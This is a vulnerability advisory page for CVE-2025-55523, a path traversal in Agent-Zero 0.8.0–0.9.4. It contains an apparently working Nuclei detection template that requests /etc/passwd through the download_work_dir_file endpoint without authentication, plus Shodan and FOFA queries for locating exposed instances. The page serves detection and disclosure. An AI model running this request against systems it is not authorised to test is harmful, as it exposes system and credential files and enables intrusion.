CVE-2025-55523: Agent-Zero 0.8.0 - 0.9.4 - Arbitrary File Download

2025-11-21 Agent-Zero PoC Public

Description

Agent-Zero v0.8.0 - 0.9.4 contains a path traversal caused by improper validation in /api/download_work_dir_file.py, letting attackers access unauthorized files, exploit requires crafted request.

PoC

id: CVE-2025-55523

info:
  name: Agent-Zero 0.8.0 - 0.9.4 - Arbitrary File Download
  author: 0x_Akoko
  severity: high
  description: |
    Agent-Zero v0.8.0 - 0.9.4 contains a path traversal caused by improper validation in /api/download_work_dir_file.py, letting attackers access unauthorized files, exploit requires crafted request.
  impact: |
    Attackers can access unauthorized files, potentially exposing sensitive data or system information.
  remediation: |
    Update to the latest version of Agent-Zero
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55523
    - https://github.com/agent0ai/agent-zero/issues/687
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Agent Zero"
    fofa-query: title="Agent Zero"
  tags: cve,cve2025,agent-zero,lfi,traversal,unauth,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/download_work_dir_file?path=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "filename=passwd"

      - type: status
        status:
          - 200
# digest: 490a00463044022012419720695d1be6f39a552647d0ae631160e4780fb93bc71862c8ed6f9a1a8402207d1a557df227cb7aefda459e9b3320ba88dd62051b8660300074aa50530d2915:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities